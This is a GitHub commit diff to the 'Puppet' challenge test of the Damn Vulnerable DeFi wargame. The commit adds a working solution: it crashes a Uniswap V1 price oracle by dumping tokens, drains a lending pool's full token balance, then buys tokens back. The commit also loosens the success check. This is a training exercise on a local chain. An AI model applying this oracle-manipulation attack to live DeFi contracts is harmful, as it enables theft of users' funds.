Skip to content

Commit

Permalink
theredguild#8 - puppet completed
Browse files Browse the repository at this point in the history
  • Loading branch information
jonatascm committed Feb 23, 2022
1 parent 62bf092 commit 7209cc8
Showing 1 changed file with 190 additions and 111 deletions.
301 changes: 190 additions & 111 deletions test/puppet/puppet.challenge.js
Original file line number Diff line number Diff line change
@@ -1,119 +1,198 @@
const exchangeJson = require("../../build-uniswap-v1/UniswapV1Exchange.json");
const factoryJson = require("../../build-uniswap-v1/UniswapV1Factory.json");

const { ethers } = require('hardhat');
const { expect } = require('chai');
const { ethers } = require("hardhat");
const { expect } = require("chai");

// Calculates how much ETH (in wei) Uniswap will pay for the given amount of tokens
function calculateTokenToEthInputPrice(tokensSold, tokensInReserve, etherInReserve) {
return tokensSold.mul(ethers.BigNumber.from('997')).mul(etherInReserve).div(
(tokensInReserve.mul(ethers.BigNumber.from('1000')).add(tokensSold.mul(ethers.BigNumber.from('997'))))
)
function calculateTokenToEthInputPrice(
tokensSold,
tokensInReserve,
etherInReserve
) {
return tokensSold
.mul(ethers.BigNumber.from("997"))
.mul(etherInReserve)
.div(
tokensInReserve
.mul(ethers.BigNumber.from("1000"))
.add(tokensSold.mul(ethers.BigNumber.from("997")))
);
}

describe('[Challenge] Puppet', function () {
let deployer, attacker;

// Uniswap exchange will start with 10 DVT and 10 ETH in liquidity
const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther('10');
const UNISWAP_INITIAL_ETH_RESERVE = ethers.utils.parseEther('10');

const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther('1000');
const ATTACKER_INITIAL_ETH_BALANCE = ethers.utils.parseEther('25');
const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther('100000')

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker] = await ethers.getSigners();

const UniswapExchangeFactory = new ethers.ContractFactory(exchangeJson.abi, exchangeJson.evm.bytecode, deployer);
const UniswapFactoryFactory = new ethers.ContractFactory(factoryJson.abi, factoryJson.evm.bytecode, deployer);

const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer);
const PuppetPoolFactory = await ethers.getContractFactory('PuppetPool', deployer);

await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x15af1d78b58c40000", // 25 ETH
]);
expect(
await ethers.provider.getBalance(attacker.address)
).to.equal(ATTACKER_INITIAL_ETH_BALANCE);

// Deploy token to be traded in Uniswap
this.token = await DamnValuableTokenFactory.deploy();

// Deploy a exchange that will be used as the factory template
this.exchangeTemplate = await UniswapExchangeFactory.deploy();

// Deploy factory, initializing it with the address of the template exchange
this.uniswapFactory = await UniswapFactoryFactory.deploy();
await this.uniswapFactory.initializeFactory(this.exchangeTemplate.address);

// Create a new exchange for the token, and retrieve the deployed exchange's address
let tx = await this.uniswapFactory.createExchange(this.token.address, { gasLimit: 1e6 });
const { events } = await tx.wait();
this.uniswapExchange = await UniswapExchangeFactory.attach(events[0].args.exchange);

// Deploy the lending pool
this.lendingPool = await PuppetPoolFactory.deploy(
this.token.address,
this.uniswapExchange.address
);

// Add initial token and ETH liquidity to the pool
await this.token.approve(
this.uniswapExchange.address,
UNISWAP_INITIAL_TOKEN_RESERVE
);
await this.uniswapExchange.addLiquidity(
0, // min_liquidity
UNISWAP_INITIAL_TOKEN_RESERVE,
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
{ value: UNISWAP_INITIAL_ETH_RESERVE, gasLimit: 1e6 }
);

// Ensure Uniswap exchange is working as expected
expect(
await this.uniswapExchange.getTokenToEthInputPrice(
ethers.utils.parseEther('1'),
{ gasLimit: 1e6 }
)
).to.be.eq(
calculateTokenToEthInputPrice(
ethers.utils.parseEther('1'),
UNISWAP_INITIAL_TOKEN_RESERVE,
UNISWAP_INITIAL_ETH_RESERVE
)
);

// Setup initial token balances of pool and attacker account
await this.token.transfer(attacker.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await this.token.transfer(this.lendingPool.address, POOL_INITIAL_TOKEN_BALANCE);

// Ensure correct setup of pool. For example, to borrow 1 need to deposit 2
expect(
await this.lendingPool.calculateDepositRequired(ethers.utils.parseEther('1'))
).to.be.eq(ethers.utils.parseEther('2'));

expect(
await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
).to.be.eq(POOL_INITIAL_TOKEN_BALANCE.mul('2'));
describe("[Challenge] Puppet", function () {
let deployer, attacker;

// Uniswap exchange will start with 10 DVT and 10 ETH in liquidity
const UNISWAP_INITIAL_TOKEN_RESERVE = ethers.utils.parseEther("10");
const UNISWAP_INITIAL_ETH_RESERVE = ethers.utils.parseEther("10");

const ATTACKER_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("1000");
const ATTACKER_INITIAL_ETH_BALANCE = ethers.utils.parseEther("25");
const POOL_INITIAL_TOKEN_BALANCE = ethers.utils.parseEther("100000");

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker] = await ethers.getSigners();

const UniswapExchangeFactory = new ethers.ContractFactory(
exchangeJson.abi,
exchangeJson.evm.bytecode,
deployer
);
const UniswapFactoryFactory = new ethers.ContractFactory(
factoryJson.abi,
factoryJson.evm.bytecode,
deployer
);

const DamnValuableTokenFactory = await ethers.getContractFactory(
"DamnValuableToken",
deployer
);
const PuppetPoolFactory = await ethers.getContractFactory(
"PuppetPool",
deployer
);

await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x15af1d78b58c40000", // 25 ETH
]);
expect(await ethers.provider.getBalance(attacker.address)).to.equal(
ATTACKER_INITIAL_ETH_BALANCE
);

// Deploy token to be traded in Uniswap
this.token = await DamnValuableTokenFactory.deploy();

// Deploy a exchange that will be used as the factory template
this.exchangeTemplate = await UniswapExchangeFactory.deploy();

// Deploy factory, initializing it with the address of the template exchange
this.uniswapFactory = await UniswapFactoryFactory.deploy();
await this.uniswapFactory.initializeFactory(this.exchangeTemplate.address);

// Create a new exchange for the token, and retrieve the deployed exchange's address
let tx = await this.uniswapFactory.createExchange(this.token.address, {
gasLimit: 1e6,
});

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
});

after(async function () {
/** SUCCESS CONDITIONS */

// Attacker has taken all tokens from the pool
expect(
await this.token.balanceOf(this.lendingPool.address)
).to.be.eq('0');
expect(
await this.token.balanceOf(attacker.address)
).to.be.gt(POOL_INITIAL_TOKEN_BALANCE);
});
});
const { events } = await tx.wait();
this.uniswapExchange = await UniswapExchangeFactory.attach(
events[0].args.exchange
);

// Deploy the lending pool
this.lendingPool = await PuppetPoolFactory.deploy(
this.token.address,
this.uniswapExchange.address
);

// Add initial token and ETH liquidity to the pool
await this.token.approve(
this.uniswapExchange.address,
UNISWAP_INITIAL_TOKEN_RESERVE
);
await this.uniswapExchange.addLiquidity(
0, // min_liquidity
UNISWAP_INITIAL_TOKEN_RESERVE,
(await ethers.provider.getBlock("latest")).timestamp * 2, // deadline
{ value: UNISWAP_INITIAL_ETH_RESERVE, gasLimit: 1e6 }
);

// Ensure Uniswap exchange is working as expected
expect(
await this.uniswapExchange.getTokenToEthInputPrice(
ethers.utils.parseEther("1"),
{ gasLimit: 1e6 }
)
).to.be.eq(
calculateTokenToEthInputPrice(
ethers.utils.parseEther("1"),
UNISWAP_INITIAL_TOKEN_RESERVE,
UNISWAP_INITIAL_ETH_RESERVE
)
);

// Setup initial token balances of pool and attacker account
await this.token.transfer(attacker.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await this.token.transfer(
this.lendingPool.address,
POOL_INITIAL_TOKEN_BALANCE
);

// Ensure correct setup of pool. For example, to borrow 1 need to deposit 2
expect(
await this.lendingPool.calculateDepositRequired(
ethers.utils.parseEther("1")
)
).to.be.eq(ethers.utils.parseEther("2"));

expect(
await this.lendingPool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE
)
).to.be.eq(POOL_INITIAL_TOKEN_BALANCE.mul("2"));
});

it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
/**
* The main idea is to manipulate the liquidity pool to make the value ETH/DEV most lower possible
*/

await this.token
.connect(attacker)
.approve(this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);

//Calculates the total eth to send to liquidity pool
const payout = await this.uniswapExchange
.connect(attacker)
.getTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6,
});

//Sell tokens to liquidity pool
await this.uniswapExchange
.connect(attacker)
.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
payout,
(await ethers.provider.getBlock("latest")).timestamp * 2
);

//Get the value of deposit to get total tokens of the pool
const maxValue = await this.lendingPool
.connect(attacker)
.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);

//Borrow all tokens
await this.lendingPool
.connect(attacker)
.borrow(POOL_INITIAL_TOKEN_BALANCE, { value: maxValue });

const retrievePayout = await this.uniswapExchange
.connect(attacker)
.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6,
});

await this.uniswapExchange
.connect(attacker)
.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock("latest")).timestamp * 2,
{ value: retrievePayout }
);
});

after(async function () {
/** SUCCESS CONDITIONS */

// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(this.lendingPool.address)).to.be.eq("0");
expect(await this.token.balanceOf(attacker.address)).to.be.gt(
ATTACKER_INITIAL_TOKEN_BALANCE
);
});
});

0 comments on commit 7209cc8

Please sign in to comment.